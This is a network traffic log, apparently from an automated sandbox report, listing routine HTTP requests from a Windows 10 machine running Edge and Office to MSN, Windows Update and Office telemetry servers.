Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1257dd61d716b0d2e7f3d941732502393; XID=1257dd61d716b0d2e7f3d941732502393
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732502392389&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f3640592da945fb8e4139e5d56ce40e&activityId=4f3640592da945fb8e4139e5d56ce40e&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E6E83DFB2105462D923471FC65B8331A&MUID=05128E14A2366A7423409B56A39E6B9C HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=05128E14A2366A7423409B56A39E6B9C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=a67c81e765264bccd9e6f6a6a725e25c HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=S7xBxEvNluer2YN&MD=oSPPNWbl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
